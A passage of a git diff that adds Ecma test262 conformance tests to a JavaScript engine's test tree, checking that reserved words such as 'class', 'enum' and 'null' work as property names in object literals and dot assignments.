+ for(var p1 in arr) {
+ if(arr[p1] === p) {
+ if(!tokenCodes.hasOwnProperty(arr[p1])) {
+ return false;
+ };
+ }
+ }
+ }
+ return true;
+}
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-1-10.js b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-1-10.js
new file mode 100644
index 000000000..08f1d0026
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-1-10.js
@@ -0,0 +1,34 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch07/7.6/7.6.1/7.6.1-1-10.js
+ * @description Allow reserved words as property names at object initialization, verified with hasOwnProperty: in, try, class
+ */
+
+
+function testcase(){
+ var tokenCodes = {
+ in: 0,
+ try: 1,
+ class: 2
+ };
+ var arr = [
+ 'in',
+ 'try',
+ 'class'
+ ];
+ for(var p in tokenCodes) {
+ for(var p1 in arr) {
+ if(arr[p1] === p) {
+ if(!tokenCodes.hasOwnProperty(arr[p1])) {
+ return false;
+ };
+ }
+ }
+ }
+ return true;
+}
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-1-11.js b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-1-11.js
new file mode 100644
index 000000000..6875887d9
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-1-11.js
@@ -0,0 +1,34 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch07/7.6/7.6.1/7.6.1-1-11.js
+ * @description Allow reserved words as property names at object initialization, verified with hasOwnProperty: enum, extends, super
+ */
+
+
+function testcase(){
+ var tokenCodes = {
+ enum: 0,
+ extends: 1,
+ super: 2
+ };
+ var arr = [
+ 'enum',
+ 'extends',
+ 'super'
+ ];
+ for(var p in tokenCodes) {
+ for(var p1 in arr) {
+ if(arr[p1] === p) {
+ if(!tokenCodes.hasOwnProperty(arr[p1])) {
+ return false;
+ };
+ }
+ }
+ }
+ return true;
+}
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-1-12.js b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-1-12.js
new file mode 100644
index 000000000..52940898d
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-1-12.js
@@ -0,0 +1,34 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch07/7.6/7.6.1/7.6.1-1-12.js
+ * @description Allow reserved words as property names at object initialization, verified with hasOwnProperty: const, export, import
+ */
+
+
+function testcase(){
+ var tokenCodes = {
+ const: 0,
+ export: 1,
+ import: 2
+ };
+ var arr = [
+ 'const',
+ 'export',
+ 'import'
+ ];
+ for(var p in tokenCodes) {
+ for(var p1 in arr) {
+ if(arr[p1] === p) {
+ if(!tokenCodes.hasOwnProperty(arr[p1])) {
+ return false;
+ };
+ }
+ }
+ }
+ return true;
+}
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-1-13.js b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-1-13.js
new file mode 100644
index 000000000..d35543629
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-1-13.js
@@ -0,0 +1,34 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch07/7.6/7.6.1/7.6.1-1-13.js
+ * @description Allow reserved words as property names at object initialization, verified with hasOwnProperty: implements, let, private
+ */
+
+
+function testcase(){
+ var tokenCodes = {
+ implements: 0,
+ let: 1,
+ private: 2
+ };
+ var arr = [
+ 'implements',
+ 'let',
+ 'private'
+ ];
+ for(var p in tokenCodes) {
+ for(var p1 in arr) {
+ if(arr[p1] === p) {
+ if(!tokenCodes.hasOwnProperty(arr[p1])) {
+ return false;
+ };
+ }
+ }
+ }
+ return true;
+}
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-1-14.js b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-1-14.js
new file mode 100644
index 000000000..6d9270d3e
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-1-14.js
@@ -0,0 +1,34 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch07/7.6/7.6.1/7.6.1-1-14.js
+ * @description Allow reserved words as property names at object initialization, verified with hasOwnProperty: public, yield, interface
+ */
+
+
+function testcase(){
+ var tokenCodes = {
+ public: 0,
+ yield: 1,
+ interface: 2
+ };
+ var arr = [
+ 'public',
+ 'yield',
+ 'interface'
+ ];
+ for(var p in tokenCodes) {
+ for(var p1 in arr) {
+ if(arr[p1] === p) {
+ if(!tokenCodes.hasOwnProperty(arr[p1])) {
+ return false;
+ };
+ }
+ }
+ }
+ return true;
+}
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-1-15.js b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-1-15.js
new file mode 100644
index 000000000..4585126a0
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-1-15.js
@@ -0,0 +1,34 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch07/7.6/7.6.1/7.6.1-1-15.js
+ * @description Allow reserved words as property names at object initialization, verified with hasOwnProperty: package, protected, static
+ */
+
+
+function testcase(){
+ var tokenCodes = {
+ package: 0,
+ protected: 1,
+ static: 2
+ };
+ var arr = [
+ 'package',
+ 'protected',
+ 'static'
+ ];
+ for(var p in tokenCodes) {
+ for(var p1 in arr) {
+ if(arr[p1] === p) {
+ if(!tokenCodes.hasOwnProperty(arr[p1])) {
+ return false;
+ };
+ }
+ }
+ }
+ return true;
+}
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-1-16.js b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-1-16.js
new file mode 100644
index 000000000..20b61eccf
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-1-16.js
@@ -0,0 +1,34 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch07/7.6/7.6.1/7.6.1-1-16.js
+ * @description Allow reserved words as property names at object initialization, verified with hasOwnProperty: undeefined, NaN, Infinity
+ */
+
+
+function testcase(){
+ var tokenCodes = {
+ undefined: 0,
+ NaN: 1,
+ Infinity: 2
+ };
+ var arr = [
+ 'undefined',
+ 'NaN',
+ 'Infinity'
+ ];
+ for(var p in tokenCodes) {
+ for(var p1 in arr) {
+ if(arr[p1] === p) {
+ if(!tokenCodes.hasOwnProperty(arr[p1])) {
+ return false;
+ };
+ }
+ }
+ }
+ return true;
+}
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-1-2.js b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-1-2.js
new file mode 100644
index 000000000..8b0ca79ea
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-1-2.js
@@ -0,0 +1,34 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch07/7.6/7.6.1/7.6.1-1-2.js
+ * @description Allow reserved words as property names at object initialization, verified with hasOwnProperty: break, case, do
+ */
+
+
+function testcase(){
+ var tokenCodes = {
+ break: 0,
+ case: 1,
+ do: 2
+ };
+ var arr = [
+ 'break',
+ 'case',
+ 'do'
+ ];
+ for(var p in tokenCodes) {
+ for(var p1 in arr) {
+ if(arr[p1] === p) {
+ if(!tokenCodes.hasOwnProperty(arr[p1])) {
+ return false;
+ };
+ }
+ }
+ }
+ return true;
+}
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-1-3.js b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-1-3.js
new file mode 100644
index 000000000..5254fdfa3
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-1-3.js
@@ -0,0 +1,34 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch07/7.6/7.6.1/7.6.1-1-3.js
+ * @description Allow reserved words as property names at object initialization, verified with hasOwnProperty: instanceof, typeof, else
+ */
+
+
+function testcase(){
+ var tokenCodes = {
+ instanceof: 0,
+ typeof: 1,
+ else: 2
+ };
+ var arr = [
+ 'instanceof',
+ 'typeof',
+ 'else'
+ ];
+ for(var p in tokenCodes) {
+ for(var p1 in arr) {
+ if(arr[p1] === p) {
+ if(!tokenCodes.hasOwnProperty(arr[p1])) {
+ return false;
+ };
+ }
+ }
+ }
+ return true;
+}
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-1-4.js b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-1-4.js
new file mode 100644
index 000000000..5391b5be8
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-1-4.js
@@ -0,0 +1,34 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch07/7.6/7.6.1/7.6.1-1-4.js
+ * @description Allow reserved words as property names at object initialization, verified with hasOwnProperty: new, var, catch
+ */
+
+
+function testcase(){
+ var tokenCodes = {
+ new: 0,
+ var: 1,
+ catch: 2
+ };
+ var arr = [
+ 'new',
+ 'var',
+ 'catch'
+ ];
+ for(var p in tokenCodes) {
+ for(var p1 in arr) {
+ if(arr[p1] === p) {
+ if(!tokenCodes.hasOwnProperty(arr[p1])) {
+ return false;
+ };
+ }
+ }
+ }
+ return true;
+}
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-1-5.js b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-1-5.js
new file mode 100644
index 000000000..cc65a2bd2
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-1-5.js
@@ -0,0 +1,34 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch07/7.6/7.6.1/7.6.1-1-5.js
+ * @description Allow reserved words as property names at object initialization, verified with hasOwnProperty: finally, return, void
+ */
+
+
+function testcase(){
+ var tokenCodes = {
+ finally: 0,
+ return: 1,
+ void: 2
+ };
+ var arr = [
+ 'finally',
+ 'return',
+ 'void'
+ ];
+ for(var p in tokenCodes) {
+ for(var p1 in arr) {
+ if(arr[p1] === p) {
+ if(!tokenCodes.hasOwnProperty(arr[p1])) {
+ return false;
+ };
+ }
+ }
+ }
+ return true;
+}
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-1-6.js b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-1-6.js
new file mode 100644
index 000000000..157b2fec9
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-1-6.js
@@ -0,0 +1,34 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch07/7.6/7.6.1/7.6.1-1-6.js
+ * @description Allow reserved words as property names at object initialization, verified with hasOwnProperty: continue, for, switch
+ */
+
+
+function testcase(){
+ var tokenCodes = {
+ continue: 0,
+ for: 1,
+ switch: 2
+ };
+ var arr = [
+ 'continue',
+ 'for',
+ 'switch'
+ ];
+ for(var p in tokenCodes) {
+ for(var p1 in arr) {
+ if(arr[p1] === p) {
+ if(!tokenCodes.hasOwnProperty(arr[p1])) {
+ return false;
+ };
+ }
+ }
+ }
+ return true;
+}
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-1-7.js b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-1-7.js
new file mode 100644
index 000000000..227e58d5a
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-1-7.js
@@ -0,0 +1,34 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch07/7.6/7.6.1/7.6.1-1-7.js
+ * @description Allow reserved words as property names at object initialization, verified with hasOwnProperty: while, debugger, function
+ */
+
+
+function testcase(){
+ var tokenCodes = {
+ while: 0,
+ debugger: 1,
+ function: 2
+ };
+ var arr = [
+ 'while' ,
+ 'debugger',
+ 'function'
+ ];
+ for(var p in tokenCodes) {
+ for(var p1 in arr) {
+ if(arr[p1] === p) {
+ if(!tokenCodes.hasOwnProperty(arr[p1])) {
+ return false;
+ };
+ }
+ }
+ }
+ return true;
+}
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-1-8.js b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-1-8.js
new file mode 100644
index 000000000..0045ead1d
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-1-8.js
@@ -0,0 +1,34 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch07/7.6/7.6.1/7.6.1-1-8.js
+ * @description Allow reserved words as property names at object initialization, verified with hasOwnProperty: this, with, default
+ */
+
+
+function testcase(){
+ var tokenCodes = {
+ this: 0,
+ with: 1,
+ default: 2
+ };
+ var arr = [
+ 'this',
+ 'with',
+ 'default'
+ ];
+ for(var p in tokenCodes) {
+ for(var p1 in arr) {
+ if(arr[p1] === p) {
+ if(!tokenCodes.hasOwnProperty(arr[p1])) {
+ return false;
+ };
+ }
+ }
+ }
+ return true;
+}
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-1-9.js b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-1-9.js
new file mode 100644
index 000000000..285d14ec9
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-1-9.js
@@ -0,0 +1,34 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch07/7.6/7.6.1/7.6.1-1-9.js
+ * @description Allow reserved words as property names at object initialization, verified with hasOwnProperty: if, throw, delete
+ */
+
+
+function testcase(){
+ var tokenCodes = {
+ if: 0,
+ throw: 1,
+ delete: 2
+ };
+ var arr = [
+ 'if',
+ 'throw',
+ 'delete'
+ ];
+ for(var p in tokenCodes) {
+ for(var p1 in arr) {
+ if(arr[p1] === p) {
+ if(!tokenCodes.hasOwnProperty(arr[p1])) {
+ return false;
+ };
+ }
+ }
+ }
+ return true;
+}
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-2-1.js b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-2-1.js
new file mode 100644
index 000000000..d652a22a4
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-2-1.js
@@ -0,0 +1,33 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch07/7.6/7.6.1/7.6.1-2-1.js
+ * @description Allow reserved words as property names by dot operator assignment, verified with hasOwnProperty: null, true, false
+ */
+
+
+function testcase() {
+ var tokenCodes = {};
+ tokenCodes.null = 0;
+ tokenCodes.true = 1;
+ tokenCodes.false = 2;
+ var arr = [
+ 'null',
+ 'true',
+ 'false'
+ ];
+ for(var p in tokenCodes) {
+ for(var p1 in arr) {
+ if(arr[p1] === p) {
+ if(!tokenCodes.hasOwnProperty(arr[p1])) {
+ return false;
+ };
+ }
+ }
+ }
+ return true;
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-2-10.js b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-2-10.js
new file mode 100644
index 000000000..2d8ed66f1
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-2-10.js
@@ -0,0 +1,33 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch07/7.6/7.6.1/7.6.1-2-10.js
+ * @description Allow reserved words as property names by dot operator assignment, verified with hasOwnProperty: in, try, class
+ */
+
+
+function testcase() {
+ var tokenCodes = {};
+ tokenCodes.in = 0;
+ tokenCodes.try = 1;
+ tokenCodes.class = 2;
+ var arr = [
+ 'in',
+ 'try',
+ 'class'
+ ];
+ for(var p in tokenCodes) {
+ for(var p1 in arr) {
+ if(arr[p1] === p) {
+ if(!tokenCodes.hasOwnProperty(arr[p1])) {
+ return false;
+ };
+ }
+ }
+ }
+ return true;
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-2-11.js b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-2-11.js
new file mode 100644
index 000000000..2185f2de0
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-2-11.js
@@ -0,0 +1,33 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch07/7.6/7.6.1/7.6.1-2-11.js
+ * @description Allow reserved words as property names by dot operator assignment, verified with hasOwnProperty: enum, extends, super
+ */
+
+
+function testcase() {
+ var tokenCodes = {};
+ tokenCodes.enum = 0;
+ tokenCodes.extends = 1;
+ tokenCodes.super = 2;
+ var arr = [
+ 'enum',
+ 'extends',
+ 'super'
+ ];
+ for(var p in tokenCodes) {
+ for(var p1 in arr) {
+ if(arr[p1] === p) {
+ if(!tokenCodes.hasOwnProperty(arr[p1])) {
+ return false;
+ };
+ }
+ }
+ }
+ return true;
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-2-12.js b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-2-12.js
new file mode 100644
index 000000000..622ec9067
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-2-12.js
@@ -0,0 +1,33 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch07/7.6/7.6.1/7.6.1-2-12.js
+ * @description Allow reserved words as property names by dot operator assignment, verified with hasOwnProperty: const, export, import
+ */
+
+
+function testcase() {
+ var tokenCodes = {};
+ tokenCodes.const = 0;
+ tokenCodes.export = 1;
+ tokenCodes.import = 2;
+ var arr = [
+ 'const',
+ 'export',
+ 'import'
+ ];
+ for(var p in tokenCodes) {
+ for(var p1 in arr) {
+ if(arr[p1] === p) {
+ if(!tokenCodes.hasOwnProperty(arr[p1])) {
+ return false;
+ };
+ }
+ }
+ }
+ return true;
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-2-13.js b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-2-13.js
new file mode 100644
index 000000000..169cbc798
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-2-13.js
@@ -0,0 +1,33 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch07/7.6/7.6.1/7.6.1-2-13.js
+ * @description Allow reserved words as property names by dot operator assignment, verified with hasOwnProperty: implements, let, private
+ */
+
+
+function testcase() {
+ var tokenCodes = {};
+ tokenCodes.implements = 0;
+ tokenCodes.let = 1;
+ tokenCodes.private = 2;
+ var arr = [
+ 'implements',
+ 'let',
+ 'private'
+ ];
+ for(var p in tokenCodes) {
+ for(var p1 in arr) {
+ if(arr[p1] === p) {
+ if(!tokenCodes.hasOwnProperty(arr[p1])) {
+ return false;
+ };
+ }
+ }
+ }
+ return true;
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-2-14.js b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-2-14.js
new file mode 100644
index 000000000..3343b2670
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-2-14.js
@@ -0,0 +1,33 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch07/7.6/7.6.1/7.6.1-2-14.js
+ * @description Allow reserved words as property names by dot operator assignment, verified with hasOwnProperty: public, yield, interface
+ */
+
+
+function testcase() {
+ var tokenCodes = {};
+ tokenCodes.public = 0;
+ tokenCodes.yield = 1;
+ tokenCodes.interface = 2;
+ var arr = [
+ 'public',
+ 'yield',
+ 'interface'
+ ];
+ for(var p in tokenCodes) {
+ for(var p1 in arr) {
+ if(arr[p1] === p) {
+ if(!tokenCodes.hasOwnProperty(arr[p1])) {
+ return false;
+ };
+ }
+ }
+ }
+ return true;
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-2-15.js b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-2-15.js
new file mode 100644
index 000000000..ce04d2900
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-2-15.js
@@ -0,0 +1,33 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch07/7.6/7.6.1/7.6.1-2-15.js
+ * @description Allow reserved words as property names by dot operator assignment, verified with hasOwnProperty: package, protected, static
+ */
+
+
+function testcase() {
+ var tokenCodes = {};
+ tokenCodes.package = 0;
+ tokenCodes.protected = 1;
+ tokenCodes.static = 2;
+ var arr = [
+ 'package',
+ 'protected',
+ 'static'
+ ];
+ for(var p in tokenCodes) {
+ for(var p1 in arr) {
+ if(arr[p1] === p) {
+ if(!tokenCodes.hasOwnProperty(arr[p1])) {
+ return false;
+ };
+ }
+ }
+ }
+ return true;
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-2-16.js b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-2-16.js
new file mode 100644
index 000000000..e078859fc
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-2-16.js
@@ -0,0 +1,33 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch07/7.6/7.6.1/7.6.1-2-16.js
+ * @description Allow reserved words as property names by dot operator assignment, verified with hasOwnProperty: undefined, NaN, Infinity
+ */
+
+
+function testcase() {
+ var tokenCodes = {};
+ tokenCodes.undefined = 0;
+ tokenCodes.NaN = 1;
+ tokenCodes.Infinity = 2;
+ var arr = [
+ 'undefined',
+ 'NaN',
+ 'Infinity'
+ ];
+ for(var p in tokenCodes) {
+ for(var p1 in arr) {
+ if(arr[p1] === p) {
+ if(!tokenCodes.hasOwnProperty(arr[p1])) {
+ return false;
+ };
+ }
+ }
+ }
+ return true;
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-2-2.js b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-2-2.js
new file mode 100644
index 000000000..3a8997852
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-2-2.js
@@ -0,0 +1,33 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch07/7.6/7.6.1/7.6.1-2-2.js
+ * @description Allow reserved words as property names by dot operator assignment, verified with hasOwnProperty: break, case, do
+ */
+
+
+function testcase() {
+ var tokenCodes = {};
+ tokenCodes.break = 0;
+ tokenCodes.case = 1;
+ tokenCodes.do = 2;
+ var arr = [
+ 'break',
+ 'case',
+ 'do'
+ ];
+ for(var p in tokenCodes) {
+ for(var p1 in arr) {
+ if(arr[p1] === p) {
+ if(!tokenCodes.hasOwnProperty(arr[p1])) {
+ return false;
+ };
+ }
+ }
+ }
+ return true;
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-2-3.js b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-2-3.js
new file mode 100644
index 000000000..30e4bc139
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-2-3.js
@@ -0,0 +1,33 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch07/7.6/7.6.1/7.6.1-2-3.js
+ * @description Allow reserved words as property names by dot operator assignment, verified with hasOwnProperty: instanceof, typeof, else
+ */
+
+
+function testcase() {
